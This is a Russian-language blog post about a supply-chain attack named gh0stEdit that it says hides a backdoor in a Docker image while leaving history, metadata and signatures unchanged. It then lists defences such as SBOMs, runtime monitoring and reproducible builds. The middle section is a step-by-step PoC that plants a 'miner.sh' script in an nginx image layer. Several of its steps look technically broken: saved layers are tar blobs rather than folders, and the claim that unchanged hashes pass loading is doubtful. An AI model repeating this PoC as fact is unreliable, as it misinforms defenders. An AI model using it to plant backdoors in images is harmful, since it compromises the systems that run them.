
Docker и контейнеризация давно стали стандартом. Мы подписываем образы, сканируем их на уязвимости, используем приватные реестры. Кажется, что цепочка поставки надёжно защищена.
Но исследователи показали атаку gh0stEdit (arxiv.org, 2025), которая ломает привычные представления. Суть: можно внедрить вредоносный код в Docker-образ так, что это не видно в истории, подписях и стандартных сканерах.
Пример атаки (PoC)
Ниже — демонстрация в упрощённом виде.
1. Берём базовый образ
docker pull nginx:alpine
docker save nginx:alpine -o nginx.tar
Теперь у нас есть tar-архив образа.
2. Извлекаем слои
mkdir exploit && tar -xf nginx.tar -C exploit
cd exploit
Внутри будут папки вида blobs/sha256/...
— это слои образа.
3. Подмена содержимого
Допустим, мы хотим встроить «троян» — скрипт miner.sh
.
echo -e '#!/bin/sh\necho "Mining started..."' > miner.sh
chmod +x miner.sh
Затем мы незаметно подмешиваем его в слой (например, в /usr/bin/
).
cp miner.sh blobs/sha256/<layer-id>/usr/bin/
4. Пересборка без изменения метаданных
Ключевой трюк gh0stEdit — мы не пересчитываем хеш слоя, а оставляем прежний.
Для Docker это выглядит так, будто слой не менялся.
Файл manifest.json
и repositories
остаются прежними.
5. Загружаем образ обратно
tar -cf nginx_backdoored.tar *
docker load -i nginx_backdoored.tar
docker tag <id> nginx:ghosted
6. Проверка «чистоты»
docker history nginx:ghosted
Покажет ту же историю, что и у оригинала.
docker inspect nginx:ghosted
Метаданные совпадают, изменений нет.
7. Запуск и сюрприз
docker run --rm nginx:ghosted miner.sh
Вывод:
Mining started...
Образ прошёл все стандартные проверки, но внутри уже есть скрытый payload.
Почему это страшно
CI/CD пайплайн скачает образ, проверит подпись → «чисто».
Сканер уязвимостей прогонит → «чисто».
В продакш�� попадёт контейнер с бэкдором.
Таким образом, атакующий может встроить вредонос даже в подписанный образ из «надёжного» реестра.
Как защищаться
Глубокая проверка содержимого
Использовать cosign с принудительной пересборкой хешей.
Проверять бинарники внутри слоёв через SBOM (Software Bill of Materials).
Runtime-мониторинг
Инструменты Falco, Tetragon, eBPF-хуки: обнаружение аномальных процессов (например,
xmrig
внутри nginx).
Zero Trust к supply chain
Использовать только воспроизводимые сборки (reproducible builds).
Пересобирать сторонние образы самостоятельно.
Заключение
gh0stEdit — это напоминание: безопасность контейнеров не заканчивается на подписях и сканерах. Мы должны верифицировать содержимое и наблюдать за поведением контейнеров на рантайме.